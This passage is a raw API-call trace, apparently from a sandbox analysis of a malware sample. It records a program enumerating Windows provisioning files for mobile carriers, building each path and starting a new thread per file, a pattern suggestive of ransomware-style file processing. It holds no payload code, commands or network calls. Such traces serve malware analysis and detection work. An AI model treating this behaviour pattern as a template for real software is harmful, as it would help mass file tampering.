returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" [0179.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0179.059] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", cAlternateFileName="287__C~1.PRO")) returned 1 [0179.059] wcscmp (_String1="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.059] wcscmp (_String1="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3043400 [0179.059] wcscpy (in: _Dest=0x3043400, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.059] wcscat (in: _Dest=0x3043400, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.059] wcscat (in: _Dest=0x3043400, _Source="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" [0179.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0179.060] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", cAlternateFileName="288__C~1.PRO")) returned 1 [0179.063] wcscmp (_String1="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.063] wcscmp (_String1="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3042288 [0179.063] wcscpy (in: _Dest=0x3042288, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.063] wcscat (in: _Dest=0x3042288, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.063] wcscat (in: _Dest=0x3042288, _Source="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" [0179.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0179.064] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", cAlternateFileName="289__C~1.PRO")) returned 1 [0179.064] wcscmp (_String1="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.064] wcscmp (_String1="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x30432a8 [0179.064] wcscpy (in: _Dest=0x30432a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.064] wcscat (in: _Dest=0x30432a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.064] wcscat (in: _Dest=0x30432a8, _Source="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" [0179.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30432a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0179.065] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="28__CO~1.PRO")) returned 1 [0179.065] wcscmp (_String1="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.065] wcscmp (_String1="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.065] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3041d28 [0179.065] wcscpy (in: _Dest=0x3041d28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.065] wcscat (in: _Dest=0x3041d28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.065] wcscat (in: _Dest=0x3041d28, _Source="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" [0179.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0179.066] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", cAlternateFileName="290__C~1.PRO")) returned 1 [0179.066] wcscmp (_String1="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.066] wcscmp (_String1="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3041e80 [0179.066] wcscpy (in: _Dest=0x3041e80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.066] wcscat (in: _Dest=0x3041e80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.066] wcscat (in: _Dest=0x3041e80, _Source="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" [0179.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0179.067] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", cAlternateFileName="291__C~1.PRO")) returned 1 [0179.067] wcscmp (_String1="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.067] wcscmp (_String1="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3042538 [0179.067] wcscpy (in: _Dest=0x3042538, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.067] wcscat (in: _Dest=0x3042538, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.067] wcscat (in: _Dest=0x3042538, _Source="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" [0179.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0179.068] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="292__C~1.PRO")) returned 1 [0179.068] wcscmp (_String1="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.068] wcscmp (_String1="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x30427e8 [0179.068] wcscpy (in: _Dest=0x30427e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.068] wcscat (in: _Dest=0x30427e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.068] wcscat (in: _Dest=0x30427e8, _Source="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" [0179.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30427e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0179.069] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="293__C~1.PRO")) returned 1 [0179.069] wcscmp (_String1="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.069] wcscmp (_String1="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3042940 [0179.069] wcscpy (in: _Dest=0x3042940, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.069] wcscat (in: _Dest=0x3042940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.069] wcscat (in: _Dest=0x3042940, _Source="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" [0179.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0179.070] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="294__C~1.PRO")) returned 1 [0179.070] wcscmp (_String1="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.070] wcscmp (_String1="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.070] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x30436b0 [0179.070] wcscpy (in: _Dest=0x30436b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.070] wcscat (in: _Dest=0x30436b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.070] wcscat (in: _Dest=0x30436b0, _Source="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" [0179.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30436b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0179.071] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="295__C~1.PRO")) returned 1 [0179.071] wcscmp (_String1="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.071] wcscmp (_String1="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3043558 [0179.071] wcscpy (in: _Dest=0x3043558, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.071] wcscat (in: _Dest=0x3043558, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.071] wcscat (in: _Dest=0x3043558, _Source="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" [0179.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0179.071] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", cAlternateFileName="296__C~1.PRO")) returned 1 [0179.072] wcscmp (_String1="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.072] wcscmp (_String1="296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2fe1c50 [0179.072] wcscpy (in: _Dest=0x2fe1c50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.072] wcscat (in: _Dest=0x2fe1c50, _Source="\\" | out: _Dest="C:\\Users\\All 